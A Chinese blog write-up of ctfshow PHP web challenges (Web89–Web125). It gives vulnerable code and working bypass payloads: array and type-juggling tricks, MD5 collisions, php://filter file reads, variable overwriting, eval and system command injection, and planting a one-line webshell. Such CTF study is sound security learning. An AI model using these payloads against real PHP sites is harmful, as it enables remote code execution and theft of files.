March 2, 2023

CTFSHOW-PHP

Web89(数组绕过)

image.png
查看代码preg_match过滤0-9,即发现有0-9,就输出no no no然而intval函数的作用是返回变量的整数值,两者相互矛盾
这里可以通过数组绕过,构造payload: ?num[]=
原理:
image.png
image.png
且 preg_math()传入数组参数也会直接返回0
image.png
成功获取flag

Web90(intval取整)

image.png
查看源码,第一个if是验证num是否被设置,第二个if验证num是否是4476,如果是,就输出no no no ,第三个if验证num取整后是否等于4476
看到取整,还不好做吗~,直接输入小数取整绕过第二个if的验证
payload?num=4476.1

Web91(换行绕过)

image.png
查看源码
首先是
if(preg_match(‘/^php$/im’, $a)){这个if的意思是匹配$a开头和结尾是php,如果是php,进入下一个if
/^php$/im ^表示开头 $表示结尾 /i不区分大小写 /m表示多行匹配
preg_match(‘/^php$/i这个if的意思是匹配$a开头和结尾是php,不区分大小写,如果开头是php,那么就输出hacker
仔细对比发现,第二个if的过滤对比第一个,少了一个多行匹配/m,这可以用到Apache HTTPD换行解析漏洞(CVE-2017-15715)
大概意思是:以前的1.php可以用1%0aphp访问,%0a表示换行符,那么综上所述,就可以绕过函数的过滤
构造payload: ?cmd=a%0aphp
a%0aphp,首先是preg_match中的$(匹配结尾)匹配a%0aphp中的换行符,这个时候会匹配到%0a(将%0a当作换行),那么a%0aphp后面的php因为preg_match函数有个/m(匹配多行)就是单独的一行了,满足第一个if,要求行开始和结尾都是php
其次是第二个if,第二个if要求$a中开头和结尾没有php,而这个preg_match函数中没有/m匹配多行,所以就直接匹配abc,abc不满足第二个if,所以输出flag

Web92(intval的性质)

1
2
3
4
5
6
7
8
9
10
11
12
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}

直接payload:?num=4476.1或者intval()函数如果var中存在字母的话遇到字母就停止读取 payload2:?num=4476a123
image.png
image.png

Web93(intval性质)

在web92的基础上
过滤了字母但是我们可以使用其他进制就是计算 0b?? : 二进制0??? : 八进制 0X?? : 16进制 payload : ?num=010574
当然直接4476.1梭哈也是可以的

Web94(intval)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}

这里是要我们的payload里面带有0,且第一位不能是0
image.png
假如返回的是5,那么就是if(!5),这样就不会die掉,只有!0才会进入if语句内

直接payload:?num=4476.0

Web95(绕过strpos)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}

这次比上题,多过滤了一个点“.”
要求不能有字母,不能有’.’,而且要求有0,0不能出现在第一位,如果我们直接八进制输入010574,strpos函数会返回0,因为0在第一位,我们要在最前面加一个空格绕过
payload:?num=%20010574
payload2:?num=+010574
payload3:?num=%0a010574
image.png
空格不影响赋值,+号表示正数

Web96(伪协议读文件)

1
2
3
4
5
6
7
8
9
10
11
highlight_file(__FILE__);

if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}


}

payload1:?u=./flag.php
./表示当前目录
payload2:?u=php://filter/resource=flag.php
使用伪协议读取

Web97(md5绕过)

1
2
3
4
5
6
7
8
9
10
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

这里要输入两个不同的a,b,md5弱类型比较可以直接数组过,其结果都会转换为null
所以payload1:a[]=1&b[]=2,用POST传参
payload2弱碰撞:
md5弱比较,为0e开头的会被识别为科学记数法,结果均为0,所以只需找两个md5后都为0e开头且0e后面均为数字的值即可。 payload: a=QNKCDZO&b=240610708
image.png
image.png
image.png
payload3强碰撞:
这时候需要找到两个真正的md5值相同数据
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2_
&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB%07%FE%A2

Web98(三元运算符和指针)

1
2
3
4
5
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

这里涉及了三元运算符
image.png
我们把这几段代码都分析一下

1
2
3
4
5
6
7
$_GET?$_GET=&$_POST:'flag';
===============>//意思就是下面的代码
if(isset($_GET)){
$_GET=&$_POST;
}else{
'flag';
}

其他的也是同理如:$_GET[‘flag’]==’flag’?$_GET=&$_COOKIE:’flag’;

1
2
3
4
5
6
if $_GET['flag']=='flag'
{
$_GET=&$_COOKIE
else
'flag'
}

这上面三条其中&表示传递地址,和指针的作用类似,将$_GET指向$_POST或者$_COOKIE
所以有两种payload1:
image.png
GET随便传点什么都可以
首先GET存在,$_GET指针指向$_POST
$_POST[‘HTTP_FLAG’]=flag的话
GET数组里面也会有$_GET[‘HTTP_FLAG’]=flag
下面的payload2同理
payload2:
image.png
流程:首先$_POST[flag]=flag
所以GET里面也有$_GET[flag]=flag,进入第二条判断,$_GET=&$_cookie指向cookie
cookie传入HTTP_FLAG=flag
这里其实也会进入server的判断,但是由于$_server没有传值,不影响
GET里面多出一个$_GET[HTTP_FLAG]=flag,完成最终判断

Web99(in_array漏洞)

1
2
3
4
5
6
7
8
9
10
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { //0X36d是十六进制,对应877
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}

?>

image.png
这个函数有个漏洞,没有设置第三个参数 就可以形成自动转换如:n=1.php自动转换为1

所以这一题的payload很简单:
image.png
n传入数字.php,数字在1到877之间即可,然后post传递content写入一句话木马进去,最后用蚁剑连接就好
payload2:在content内写入system(‘ls’),找到flag文件,最后读取即可

PHP(测试题)

下面为代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
include 'flag.php';
if ("POST" == $_SERVER['REQUEST_METHOD']) //需要POST传参
{
$DeadHeat = $_POST['DeadHeat'];
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $DeadHeat))
{
echo 'Big Pig';
exit;
}
while (TRUE)
{
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $DeadHeat, $arr))
break;
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower');
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $DeadHeat))
$c += 1;
}
if ($c < 3) break;
if ("42" == $DeadHeat) echo $flag;
else echo 'So clever that DeadHeat is laughing at you';
exit;
}
}
highlight_file(__FILE__);
?>

首先,我们先把一些陌生的东西列下来:

[:graph:] : 除空格,TAB外的所有字符
[:punct:] : 任何标点符号
[:digit:] : 任何数字
[:upper:] : 任何大写字母
[:lower:] : 任何小写字母

这些都是正则表达式,我们首先看第一个判断if (0 >= preg_match(‘/^[[:graph:]]{12,}$/‘, $DeadHeat))
这些都是正则表达式,我们首先看第一个判断if (0 >= preg_match(‘/^[[:graph:]]{12,}$/‘, $DeadHeat))
post传入一个参数Deadheat,然后这个deadheat至少要有12个可打印字符,也就是长度至少为12

第二个判断:

1
2
3
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $DeadHeat, $arr))
break;

这个判断的意思是,输入的DeadHeat可以识别出类型有六种,如:123ABabc
假如输入以上参数,返回值将是3
image.png
他有大写,小写,数字;如果是这样asdasdasda,那么只有1
image.png
所以这一个判断的意思是,要可以识别六种或者六种以上的种类(数字,符号,大小写字母)

第三个判断:

1
2
3
4
5
6
7
8
9
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower');
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $DeadHeat))
$c += 1;
}
if ($c < 3) break;
if ("42" == $DeadHeat) echo $flag;

和上面的原理是一样的,用foreach遍历,意思是输入的DeanHeat里至少有**’punct’, ‘digit’, ‘upper’, ‘lower’当中的三种类型
最后如果”42” == $DeadHeat,就输出flag,这里是一个弱类型,我们直接用科学计数法来搞
payload(post方式) :DeadHeat=42.000e-00000000
这里输入的一共
长度为16满足条件一**,可以被识别出6次,满足条件二,有三种类型,满足条件三

image.png

Web100(运算符优先级和eval的利用)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}

}

首先先看第一个_if_($v0):
由于赋值运算符的优先级更高,所以意思就是$v0=is_numeric($v1)
意思就是$v1要是一个数字,我们v1随便传一个数字上去就好

第二个判断和第三个判断:
要求v2里面不能有;分号,要求v3里面必须有分号;(所以这里不能用;隔开执行多条指令)

构造payload:
?v1=1&v2=?>&v3=;
具体为什么这样做,在命令执行Web72中在笔记中,已经阐述了关于eval的一些潜规则,可以把eval当做默认有
这边由于v3要求有;所以我才加了个,不加也是符合规则的

payload2:
?v1=1&v2=eval($_POST[1])?>#&v3=1;
这边#要URL编码一下,因为URL中#是有特殊含义的
image.png

Web101(反射类利用)

1
2
3
4
5
6
7
8
9
10
11
12
13
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}

}

首先分析一下,第一层if还是老样子,和上一题一样

第二层和第三层if就变了,这次不能用上一题的方法,因为很多特殊符号被ban了:
这里注意一下,**v3中仍然可以用;
**这里用到反射类,什么是反射类呢:
参考本篇文章:php反射类 ReflectionClass_运真表姐的博客-CSDN博客
参考一下数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
class A{
public static $flag="flag{123123123}";
const PI=3.14;
static function hello(){
echo "hello</br>";
}
}
$a=new ReflectionClass('A');


var_dump($a->getConstants()); 获取一组常量
输出
array(1) {
["PI"]=>
float(3.14)
}

var_dump($a->getName()); 获取类名
输出
string(1) "A"

var_dump($a->getStaticProperties()); 获取静态属性
输出
array(1) {
["flag"]=>
string(15) "flag{123123123}"
}

var_dump($a->getMethods()); 获取类中的方法
输出
array(1) {
[0]=>
object(ReflectionMethod)#2 (2) {
["name"]=>
string(5) "hello"
["class"]=>
string(1) "A"
}
}

所以payload:
?v1=1&v2=echo new ReflectionClass&v3=;
eval结尾要有分号嘛,所以v3是;
得到以下结果:
image.png
可以看到flag在这行字符串中:74458f870x2d4b470x2d44bd0x2d8e800x2da2080f95365
其中0x2d化成十进制为45对应ascii码中的-,替换一下得到
flag应该是ctshow{74458f87-4b47-44bd-8e80-a2080f95365?}
注意结尾的那个?那是不确定是什么,仔细数一下最后一个-后面的数字,只有11个
ctfshow上题目最后一排数字应该是12个数字,这里需要用burpsuite爆破一下(0-9,a-z)
抓包爆破,这里就不用intruduct了,就repeater里面一个个试着吧,爆破反应太快,会崩溃

最后尝试到0,发现correct,结束

Web102(进制转换+伪协议利用)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}

看到这题有个file_put_contents,我就想到了杂糅代码(sry,PTSD?),就结果而言还是有点关系的好吧

首先一步步分析:
第一个判断的if和之前几题一样,赋值运算符的优先级更高,所以v2必须是个可以识别出的数字

第二步:$s是把v2从第二位开始裁取,然后$str用了个call_user_func函数

一句话来概括就是,call_user_func($a,$b)=$a($b)
所以这边v1输入的肯定是个函数,然后$s就是函数的参数了
最后输出$str的结果,再把结果放进v3中,v3肯定是个文件名

所以思路是,传入先构造一个指令,如<?=cat *;意思是将当前目录所有文件和目录输出
将这个指令base64加密得到:PD89YGNhdCAqYDs=
image.png
image.png
之前也强调了,末尾的=可以去除,这里假如不去除,用bin2hex加密成十六机制后,就会有2个字母出现
去掉=后十六进制加密为:5044383959474e6864434171594473
这里面只有一个字母e,可以被识别成数字,所以我们的payload:
?v2=125044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=flag.php
这里就用了filter伪协议的base64解码
这边注意v2,前面加了2个数字12,是因为substr从第二位开始截取
post传参:v1=hex2bin
image.png
传入之后再访问flag.php就能看到答案了:
image.png

ps:这里别命名flag.php,貌似会被覆盖掉,第一遍出错了

Web103

与Web102同解法

Web104(若知题)

1
2
3
4
5
6
7
8
9
10
11
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}

感觉好若知啊这一题,用了个sha1哈希加密,但是我传两个一样的数字不就行了吗
payload:?v2=1
post:v1=1

Web105(变量覆盖)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);

考点:变量覆盖
好悬没给我转不过来,第一眼就进坑了,看到代码的第一眼是不是重点都在

1
2
3
4
5
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);

这一段代码,想着怎么样才能让他输出flag
误区:输入get:a=flag post:flag=a
这一段是真的很操蛋,我怎么会犯这种低级错误,第一个get传的是没什么问题的,但是post进入foreach后,提取出的是$key=flag,这和你$_POST[‘flag’]有什么关系?????

再次陷入误区:
我就输入post: _POST[‘flag’]=a
我就在想我当时为什么隔着套娃呢?你POST数组本来就叫做_POST
你再加一个_POST就会被当成这样:

1
$_POST=array([_POST['flag']]=>'a'])

搁这儿套娃,此_POST被识别成了POST数组中的内容!!!!!

爬出泥潭:
于是华生我发现了盲点:

1
2
if(!($_POST['flag']==$flag)){
die($error);

我是不是只要让$error=$flag就行了?????
那不是简单吗!payload: (get)?a=flag (post)error=a
流程是:

1
2
3
$a=$flag

$error=$a=$flag

然后判断的时候进入if,就die输出了flag!!!!

Web106(数组绕过sha1)

1
2
3
4
5
6
7
8
9
10
11
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}

easy,这里只需要科普一个小知识:
PHP中数组绕过可适用于:

md5(Array()) = null
sha1(Array()) = null
ereg(pattern,Array()) = null
preg_match(pattern,Array()) = false
strcmp(Array(), “abc”) = null
strpos(Array(),”abc”) = null
strlen(Array()) = null

可以看到sha1加密也可以用数组绕过
传参:?v2[]=1 v1[]=2

Web107(md5的0e利用)

1
2
3
4
5
6
7
8
9
10
11
12
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}

这道题也不是很难,钱钱的分析一下:

string
输入的字符串。
result
如果设置了第二个变量 result, 变量将会以数组元素的形式存入到这个数组,作为替代。
警告
极度_不建议_在没有 result 参数的情况下使用此函数, 并且在 PHP 7.2 中将_废弃_不设置参数的行为。PHP 8.0.0 起,result 参数是_强制的_。

      这其实和extract函数是一样的,是什么意思呢?:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$str = "first=value&arr[]=foo+bar&arr[]=baz";

// 推荐用法
parse_str($str, $output);
echo $output['first']; // 结果:value
echo $output['arr'][0]; // 结果:foo bar
echo $output['arr'][1]; // 结果:baz

// 不建议这么用
parse_str($str);
echo $first; //结果: value
echo $arr[0]; //结果:foo bar
echo $arr[1]; // 结果:baz
?>

就是将我们字符串中的参数给他注册变量,只不过这里我们连接起来用&符号

知道这个函数是什么就好办了,这道题的关键部分就是要让**$v2[‘flag’]=md5($v3)**
v2是v1中参数注册变量后的结果,所以我们v1内注册v2
由于是弱类型比较,我们只需要让md5加密后为0e开头的数字就行(被当成科学计数法),结果会被当成0
md5加密后为0e开头的参考这篇文章:

然后输入v2=0
就可以得到flag
image.png

Web108(%00截断)

1
2
3
4
5
6
7
8
9
10
11
12
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}

这个函数在PHP5.3后被禁用,因为这个ereg函数有NULL(%00)截断漏洞,可以绕过

首先正则表达式的意思是输入的只能是字母,这个饶了我好半天才想出来,并不是字母开头和结尾就行了,因为有个+号

这里就是考null截断问题,0x36d是877,反过来是778
payload:?c=a%00778

Web109(内置类的利用)

1
2
3
4
5
6
7
8
9
10
11
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}

}

首先在开始前,让我们先将一些知识点

就是我们在一个字符串后面加括号,会默认被当成函数执行的,如:
image.pngimage.png
如图所示,这2个函数都被执行了,也就是说当PHP识别到了形如字符串()不管正确与否,都会把他当做函数先运行,首先我们要知道这个前提概念

其次就是要介绍3个内置类,Exception,ReflectionCLass,Error
这三个内置类都有一个共同特点,就是他们都有__tostring方法:
image.png
里面的try,throw,catch的意思在:有被很好解释

就以Error为例子,其他两个内置类都有这一模一样的方法,我们只需要向里面传参,他就会返回结果给我们,所以这个参数可以是个函数
也就是说假如我们$a=new Error('system('ls')')然后echo $a返回的会是结果system后的结果

那我们的第三步就是去解题了,以上3个内置类随选,现在就来解题,题目的要求就是v1,v2都要有字母就可以
构造payload:
?v1=ReflectionClass&v2=system(‘ls’)
image.png
这里大家可能会好奇了,明明v2后面还有个(),为什么还能再加括号呢?
他其实是先运行了system(‘ls’),然后把结果当做一个新的函数,大概意思就这样
flag36dg.txt inde.php()
这个函数无疑是错误的,所以没有返回值,返回给我们的只有system的结果
验证我们这个猜想,我们可以把v2变成phpinfo看看:
image.png
这证明我们的猜想是对的就变成了phpinfo()

最后就读取fl36dg.txt就得出结果了:
image.png

Web110(内置类)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}

这一题同样也用到了一个内置类:FilesystemIterator
这个类里有一个构造函数:
image.png

可以看到只要输入了当前目录,这个构造函数就会返回一个数组,包含当前目录的所有文件

当我们echo这个内置类,返回的只会是第一个文件名:
image.png
image.png
image.png
可以看到1.php是排序中第一个文件,得到验证
抱着这种想法去构造一下payload,由于v2被ban了下划线和‘.’,所以如何获取当前目录是一个问题

image.png
所以最后的结果:
?v1=FilesystemIterator&v2=getcwd
image.png
最后直接url/fl36dga.txt即可

Web111(GLOBALS超全局变量)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}

if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}

}

可以看到特殊符号也ban完了,这题考查的是变量覆盖,GLOBALS超全局变量

这一题可以看出就是变量覆盖,其中&表示地址,也就是指针
payload:?v1=ctfshow&v2=GLOBALS

Web112(伪协议利用+回溯次数超过)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
<?php

代码审计一下后发现,题目的意思是让我们提交一个file变量,file不能被识别成正常的文件

image.png
要想被识别成不正常的文件,我们只需要用伪协议即可,虽然题目中ban了几种,但是filter没有ban,我们可以用filter: ?file=php://filter/resource=flag.php
其他也还有几种没被ban的伪协议:
payload:file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php
payload:file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
payload:file=compress.zlib://flag.php

F
image.png

payload2:
/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/ self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se lf/root/proc/self/root/var/www/html/flag.php

其中/proc/self/root类似于一个loop?我在虚拟机里测试了一下发现确实是loop
image.png
image.png.
image.png
所以一直loop类似于超过回溯次数,达到绕过的目的

Web113(伪协议)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

代码几乎一样,就是把filter伪协议ban掉了
这里用zlib压缩流伪协议:payload:file=compress.zlib://flag.php
非预期:
payload:file=compress.bzip2://flag.php
这样还得不出答案,bzip2和zlib都是一样的用法,不理解
参考:

Web114(伪协议)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

感觉弱智。。。。
?file=php://filter/resource=flag.php
image.png
直接出来了
这里不能用file啊,file和filter的意思不同,不是读取,而是访问

Web115(trim和is_numeric漏洞)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}

在数字前加上空格,也会被is_numeric函数认为是数字:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 
$a="\n1";
$b="\t1";
$c="\f1";
$d="\r1";
$e="\v1";
$f=" 1";
var_dump(is_numeric($a));//bool(true)
var_dump(is_numeric($b));//bool(true)
var_dump(is_numeric($c));//bool(true)
var_dump(is_numeric($d));//bool(true)
var_dump(is_numeric($e));//bool(true)
var_dump(is_numeric($f));//bool(true)

trim函数会过滤空格以及\n\r\t\v\0,但不会过滤\f

1
2
3
4
5
<?php 
$n=" \n\r\t\v\0 aaa \f";
var_dump(trim($n));//aaa \f
?>

image.png
所以payload:?num=%0c36
为啥我就想不到这些东西呢我日了狗了卧槽

Web123(变量命名规则+SERVER[‘argv’]利用)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>

简单的代码审计一下发现,这一题是要求我们post传入参数CTF_SHOWCTF_SHOW.COM,不传入参数fl0g,然后还要传入参数fun,经过过滤后执行fun语句
这一题有2个思路,一是利用eval去得到答案,二是利用最后一个判断去echo $flag;

post传参:CTF_SHOW.COM=1&CTF_SHOW=1&fun=echo $flag

正当我好奇为什么行不通的时候,查阅资料发现:
无论是post还是get传参,当变量名出现空格+[.时,都会自动替换成下划线_
image.png
image.png
而当前面有[时,后面的.或者是+空格,都不会被替换
image.png
利用这一点我们payload改为:CTF[SHOW.COM=1&CTF_SHOW=1&fun=echo $flag
image.png
当然也可以把fun改为include $_GET[1]用伪协议去读取,也可以去读GLOBAS

思路二就是满足$fl0g==="flag_give_me"去输出flag
这时候就需要去利用$a=$_SERVER['argv'];
什么是$_SERVER['argv']呢?:
首先在本地的php.ini中开启一下register_argc_argv,随便传参可以发现:

$_SERVER[‘argv’]是传递给该脚本的参数的数组。当脚本以命令行方式运行时,argv 变量传递给程序 C 语言样式的命令行参数。当通过 GET 方式调用时,该变量包含请求信息。

1
2
3
<?php
var_dump($_SERVER['argv'])
?>

image.png
然后可以用+(在URL中是空格的意思比%20更严谨),去分隔参数:
image.png

跟上面说的一样,post提交是无效的:
image.png

可以看到变成两个参数了,利用这一特性可以去构造payload:
get:?b=1+fl0g=flag_give_me
post:CTF[SHOW.COM=1&CTF_SHOW=1&fun=parse_str($a[1])

parse_str可以注册变量:
image.png
当我们如上get传参后,$_SERVER[‘argv’]中的数据是这样的:
image.png
可以看到分隔开来了,然后我们用parse_str去注册$a[1],达到效果输出flag

image.png

Web125(同上)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>

就多ban了一些东西,flag,var_dump等等,骚方法很多
方法一:
payload:(post)CTF[SHOW.COM=1&CTF_SHOW=1&fun=var_export(get_defined_vars())
当然也可以换成
CTF[SHOW.COM=1&CTF_SHOW=1&fun=highlight_file($_GET[1])1=flag.php

image.png
方法二:
同web123方法二
get:?b=1+fl0g=flag_give_me
